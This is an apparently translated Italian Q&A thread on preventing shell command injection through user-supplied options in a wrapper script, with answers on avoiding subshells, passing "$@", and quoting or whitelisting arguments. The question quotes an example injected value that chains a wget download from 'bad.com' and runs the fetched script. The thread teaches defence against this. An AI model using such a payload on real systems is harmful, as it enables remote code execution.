Come impedire l'iniezione di comandi tramite le opzioni di comando?


13

Ho un'applicazione wrapper in cui devo consentire all'utente di specificare opzioni personalizzate da passare a un simulatore. Tuttavia, voglio assicurarmi che l'utente non immetta altri comandi attraverso le opzioni utente. Qual è il modo migliore per raggiungere questo obiettivo?

Per esempio.

  • L'utente fornisce: -a -b
  • L'applicazione esegue: mysim --preset_opt -a -b

Tuttavia, non voglio che ciò accada:

  • L'utente fornisce: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • L'applicazione esegue: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

Attualmente, sto pensando che potrei semplicemente circondare ogni opzione fornita dall'utente con virgolette singole 'e rimuovere tutte le virgolette singole fornite dall'utente, in modo che il comando nell'ultimo esempio risulti innocuo:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

Nota: il mysimcomando viene eseguito come parte di uno script shell in un contenitore docker / lxc. Sto eseguendo Ubuntu.


Stai usando evalper eseguire l'applicazione? In caso contrario, l'iniezione non dovrebbe avvenire:x="&& echo Doomed" ; echo $x
Choroba,

1
No, non sto usando eval. Sto chiamando l'eseguibile mysimall'interno di uno script di shell. Sto vedendo l'iniezione avvenire se copio semplicemente la stringa di opzioni che l'utente fornisce e la incolla alla fine del mysimcomando.
Victor Lyuboslavsky,

L'applicazione wrapper copia e incolla la stringa di opzioni?
Choroba,

Sì, le opzioni utente arrivano come una singola stringa, come -a -b. Quindi sto cercando di assicurarmi che comandi aggiuntivi non siano iniettati in quella stringa.
Victor Lyuboslavsky,

1
puoi autorizzare? consentire solo ai personaggi [a-zA-Z0-9 _-]sembra una scelta piuttosto difensiva.
Ulrich Schwarz,

Risposte:


6

Se si ha il controllo sul programma wrapper, assicurarsi che non invochi una subshell. In fondo, un'istruzione per eseguire un programma è costituita dal percorso completo (assoluto o relativo alla directory corrente) all'eseguibile e da un elenco di stringhe da passare come argomenti. Ricerca PATH, argomenti che separano gli spazi bianchi, operatori di quotazione e controllo sono tutti forniti dalla shell. Nessun guscio, nessun dolore.

Ad esempio, con un wrapper Perl, utilizzare il modulo elenco di execo system. In molte lingue, chiama una delle funzioni execo execXXX(o come unix.execsi chiama) piuttosto che system, o os.spawncon shell=False, o qualunque cosa serva.

Se il wrapper è uno script di shell, utilizzare "$@"per tramandare gli argomenti, ad es

#!/bin/sh
mysim -preset-opt "$@"

Se non hai scelta e il programma wrapper invoca una shell, dovrai citare gli argomenti prima di passarli alla shell. Il modo più semplice per citare gli argomenti è effettuare le seguenti operazioni:

  1. In ogni argomento, sostituisci ogni occorrenza di '(virgoletta singola) con la stringa di quattro caratteri '\''. (ad es. don'tdiventa don'\''t)
  2. Aggiungi 'all'inizio di ogni argomento e anche alla fine di ogni argomento. (es. da don't, don'\''tdiventa 'don'\''t')
  3. Concatena i risultati con uno spazio in mezzo.

Se devi farlo in un involucro di shell, ecco un modo.

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(Sfortunatamente, il ${VAR//PATTERN/REPLACEMENT}costrutto di bash , che dovrebbe tornare utile qui, richiede citazioni stravaganti, e non penso che tu possa ottenere '\''come testo sostitutivo.)


1

È possibile utilizzare di Bash ${VAR//PATTERN/REPLACEMENT}linguaggio per trasformare un apice 'in '\''dapprima mettendo '\''in una variabile (come passo intermedio) e quindi espandendo questa variabile come REPLACEMENTelemento del linguaggio Bash menzionato.

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}

0

È possibile utilizzare getoptsin bashcui è possibile analizzare gli argomenti per te, ad esempio:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.